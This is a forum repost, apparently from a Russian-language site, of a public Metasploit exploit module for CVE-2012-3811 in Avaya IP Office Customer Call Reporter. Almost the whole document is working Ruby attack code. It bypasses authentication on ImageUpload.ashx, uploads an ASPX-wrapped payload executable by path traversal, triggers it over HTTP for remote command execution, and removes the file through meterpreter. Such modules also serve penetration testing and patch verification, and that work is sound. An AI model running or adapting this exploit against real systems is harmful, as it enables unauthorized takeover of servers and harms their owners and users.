Exploit Avaya IP Office Customer Call Reporter - 'ImageUpload.ashx' Remote Command Execution (Metasploit)

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
21847
Проверка EDB
  1. Пройдено
Автор
METASPLOIT
Тип уязвимости
REMOTE
Платформа
WINDOWS
CVE
cve-2012-3811
Дата публикации
2012-10-10
Код:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'uri'
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize
		super(
			'Name'           => 'Avaya IP Office Customer Call Reporter ImageUpload.ashx Remote Command Execution',
			'Description'    => %q{
					This module exploits an authentication bypass vulnerability on Avaya IP Office
				Customer Call Reporter, which allows a remote user to upload arbitrary files
				through the ImageUpload.ashx component. It can be abused to upload and execute
				arbitrary ASP .NET code. The vulnerability has been tested successfully on Avaya IP
				Office Customer Call Reporter 7.0.4.2 and 8.0.8.15 on Windows 2003 SP2.
			},
			'Author'      =>
				[
					'rgod <rgod[at]autistici.org>', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'Platform'    => 'win',
			'References'  =>
				[
					[ 'CVE', '2012-3811' ],
					[ 'OSVDB', '83399' ],
					[ 'BID', '54225' ],
					[ 'URL', 'https://downloads.avaya.com/css/P8/documents/100164021' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-106/' ]
				],
			'Targets'     =>
				[
					[ 'Avaya IP Office Customer Call Reporter 7.0 and 8.0 / Microsoft Windows Server 2003 SP2', { } ],
				],
			'DefaultTarget'  => 0,
			'Privileged'     => false,
			'DisclosureDate' => 'Jun 28 2012'
		)

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The URI path of the Avaya CCR applications', '/'])
			], self.class)
	end

	#
	# Remove the .aspx if we get a meterpreter.
	#
	def on_new_session(cli)
		if cli.type != 'meterpreter'
			print_error("Meterpreter not used. Please manually remove #{@payload_path}")
			return
		end

		cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

		begin
			cli.fs.file.rm(@payload_path)
			print_good("#{@peer} - #{@payload_path} deleted")
		rescue ::Exception => e
			print_error("Unable to delete #{@payload_path}: #{e.message}")
		end
	end


	def exploit

		@peer = "#{rhost}:#{rport}"

		# Generate the ASPX containing the EXE containing the payload
		exe = generate_payload_exe
		aspx = Msf::Util::EXE.to_exe_aspx(exe)
		aspx_b64 = Rex::Text.encode_base64(aspx)

		uri_path = target_uri.path
		uri_path.path << "/" if uri_path[-1, 1] != "/"

		boundary = "---------------------------#{rand_text_alpha(36)}"

		my_data = "--#{boundary}\r\n"
		my_data << "Content-Disposition: form-data; name=\"RadUAG_fileName\"\r\n"
		my_data << "\r\n"
		my_data << "#{rand_text_alpha(rand(5)+3)}.aspx\r\n"
		my_data << "--#{boundary}\r\n"
		my_data << "Content-Disposition: form-data; name=\"RadUAG_data\"\r\n"
		my_data << "\r\n"
		my_data << "#{aspx_b64}\r\n"
		my_data << "--#{boundary}\r\n"
		my_data << "Content-Disposition: form-data; name=\"RadUAG_targetFolder\"\r\n"
		my_data << "\r\n"
		my_data << "../../CCRWallboardMessageBroker/\r\n"
		my_data << "--#{boundary}\r\n"
		my_data << "Content-Disposition: form-data; name=\"RadUAG_position\"\r\n"
		my_data << "\r\n"
		my_data << "0\r\n"
		my_data << "--#{boundary}\r\n"
		my_data << "Content-Disposition: form-data; name=\"RadUAG_targetPhysicalFolder\"\r\n"
		my_data << "\r\n"
		my_data << "\r\n"
		my_data << "--#{boundary}\r\n"
		my_data << "Content-Disposition: form-data; name=\"RadUAG_overwriteExistingFiles\"\r\n"
		my_data << "\r\n"
		my_data << "True\r\n"
		my_data << "--#{boundary}\r\n"
		my_data << "Content-Disposition: form-data; name=\"RadUAG_finalFileRequest\"\r\n"
		my_data << "\r\n"
		my_data << "True\r\n"
		my_data << "--#{boundary}\r\n"
		my_data << "Content-Disposition: form-data; name=\"UploadImageType\"\r\n"
		my_data << "\r\n"
		my_data << "0\r\n"
		my_data << "--#{boundary}\r\n"
		my_data << "Content-Disposition: form-data; name=\"WallboardID\"\r\n"
		my_data << "\r\n"
		my_data << "0\r\n"
		my_data << "--#{boundary}--\r\n"

		#
		# UPLOAD
		#
		attack_url = uri_path + "CCRWebClient/Wallboard/ImageUpload.ashx"
		print_status("#{@peer} - Uploading #{aspx_b64.length} bytes through #{attack_url}...")

		res = send_request_cgi({
			'uri'          => attack_url,
			'method'       => 'POST',
			'ctype'  => "multipart/form-data; boundary=#{boundary}",
			'data'         => my_data,
		}, 20)

		payload_url = ""
		@payload_path = ""
		if res and res.code == 200 and res.body =~ /"Key":"RadUAG_success","Value":true/
			print_good("#{@peer} - Payload uploaded successfuly")
		else
			print_error("#{@peer} - Payload upload failed")
			return
		end

		# Retrieve info about the uploaded payload

		if res.body =~ /\{"Key":"RadUAG_filePath","Value":"(.*)"\},\{"Key":"RadUAG_associatedData/
			@payload_path = $1
			print_status("#{@peer} - Payload stored on #{@payload_path}")
		else
			print_error("#{@peer} - The payload file path couldn't be retrieved")
		end

		if res.body =~ /\[\{"Key":"UploadedImageURL","Value":"(.*)"\}\]/
			payload_url = URI($1).path
		else
			print_error("#{@peer} - The payload URI couldn't be retrieved... Aborting!")
			return
		end


		#
		# EXECUTE
		#
		print_status("#{@peer} - Executing #{payload_url}...")

		res = send_request_cgi({
			'uri'          =>  payload_url,
			'method'       => 'GET'
		}, 20)

		if (!res or (res and res.code != 200))
			print_error("#{@peer} - Execution failed on #{payload_url} [No Response]")
			return
		end

	end

end
 
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